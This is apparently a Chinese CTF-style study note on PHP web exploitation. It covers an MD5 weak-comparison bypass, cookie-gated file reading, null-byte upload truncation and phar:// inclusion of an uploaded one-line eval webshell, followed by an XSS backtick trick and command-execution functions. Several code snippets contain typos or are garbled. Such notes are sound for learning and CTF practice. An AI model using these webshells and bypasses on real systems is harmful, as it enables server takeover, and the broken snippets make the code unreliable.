案例一 MD5弱比较
include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); #1 $str = substr($str,1); #2 $str = str_replace('key','',$str); parse_str($str); #3 echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; }
构造 :?kkeyey1=QNKCDZO&kkeyey2=240610708
1.strstr()
函数搜索字符串在另一字符串中第一次出现,并返回字符串的剩余部分
<?php
echo strstr("I love Shanghai!","Shanghai");
?>
输出:Shanghai
2.substr()
函数返回字符串的一部分
<?php
echo substr("Hello world",6);
?>
输出 :world
3.parse_str()
将查询字符串解析到变量中 parse解析
<?php parse_str("name=Bill&age=60"); echo $name."<br>"; echo $age; ?>
输出:Bill 60
案例二 cookie添加
error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; #1 if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; }
这里用到一个字符串操作 思路是 遍历filename的遇到一个问题是如何将文件的每一行进行base64编码
for i in `cat /usr/share/wordlists/dirb/common.txt` ; do echo $i | base64 >> base64.txt;done
1.intval获取变量的整数值
tips:这里用到的知识还有Cookie内的值要用 = :margin=margin
案例三 00截断
<?php var_dump($_FILES['upload_file']); //打印接收的文件变量数组 echo "<br />"; $file_ext = substr($_FILES['upload_file']['name'],strrops($_FILES['upload_file']['name'],".")+1); //截取文件名后缀 var_dump($file_ext); echo "<br />"; $tmp_file = $FILES['upload_file']['tmp_name'] //文件临时存储位置 vardump($tmp_file); echo "<br />"; $img_path = $_POST['save_path']."/".rand(100,999).date("YmdHis").".".$file_ext; //将上传目录、随机数、时间戳和扩展名拼接为文件保存路径 var_dump($img_path); echo "<br />"; move_upload_file($tmp_file,$img_path); //将临时文件移动到文件保存路径上 ?> <form enctype="multipart/form-data" method="post"> <p>请选择要上传的图片:</p> <input type="hidden" name="save_path" value="upload" /> <input class="input_file" type="file" name="upload_file" /> <input class="button" type="submit" name="submit" value="上传" /> </form>
在upload后加\0/1.php,重放后返回路径$img_path值为
string(34) “upload/1.php/6920200330192442.png”,其中包含\0,因此可以总结出,除了$_FILES[‘upload_file’][‘name’]这种变量,其他变量都会将字符串原封不动进行拼接,形成字符串变量中存在\0字符,一旦这个字符串被操作系统用作文件的命名,就会产生00截断的情况。
get方法中,当url中加入%00时,通过urlencode,%00得到字符\0

要知道上传的固定路径是什么 都要在上传的文件后面试试能不能+\0进行截断
案例四 文件包含phar://协议使用
phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件
php.ini中的phar.readonly必须为off才能生成
试尝试上传一个一句话木马,思路:
1,写一个一句话木马1.php
2 把一句话木马压缩成1.zip
3.把压缩包后缀改名为1.jpg发现上传成功。
再结合上面介绍的phar://伪协议进行解压木马
?file=phar://1.jpg/1 #因为题目会自动添加php后缀
在使用蚁剑或者菜刀链接
<html> tips:the parameter is file! <!--upload.php --> @$file = $_GET['file']; if(isset($file)) { if(preg_match('/http/data/ftp/input/%00/i',$file) || strstr($file,"..$ {
echo error
}
else
{ include($file.'.php');}
}
</html>
通过文件上传含有webshell代码的文件,可以通过代码提示中http,data,ftp,input filter读取,扩展名也必须为php因此不能截断
唯一能够使用的试phar://协议在本地目录下新建一个目录,命令为blog,里面放一个index.php文件,是一个写shell的代码
<?php file_put_contents('shell.php','<php eval($_POST[1])?>'?);
函数
字符操作
extract()
extract() 函数从数组中将变量导入到当前的符号表。 #生成的是一个全局变量 例如extract($_GET[a]) --> 传一个$_COOKIE=<?= @eval($_REQUEST[a])?>
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
$_SERVER['REQUEST_uRI']
$_SERVER['REQUEST_uRI'] = 就是域名后面请求的路径和参数 例如:www.test.com/test?a=123 echo $_SERVER['REQUEST_uRI'] = /test?a=123
substr_count($str,$xian)
找一个参数在一个句子里面出现了几次
explode()
把字符串打散成数组
命令执行
- assert函数是直接将传入的参数当成PHP代码直接执行
- xss括号绕过 -反引号替代括号
<img src="x" onerror="alert`1`"/>
system(args) 有回显
passthru(args) 有回显
exec(args) 回显最后一行,必须用echo输出
shell_exec(args) 无回显 必须输出
ob_start()函数
ob_start参数是一个函数名.该函数需要满足条件 1. 函数必须接收一个字符串参数 2. 该函数要有返回值 //当输出缓冲区域被ob_flush(),ob_clean() ob_end_flush冲刷请求结束之际 输出缓冲区内容被该函数调用 ob_start("system"); echo "whomai"; ob_end_flush(); #触发 相当于 system("whoami");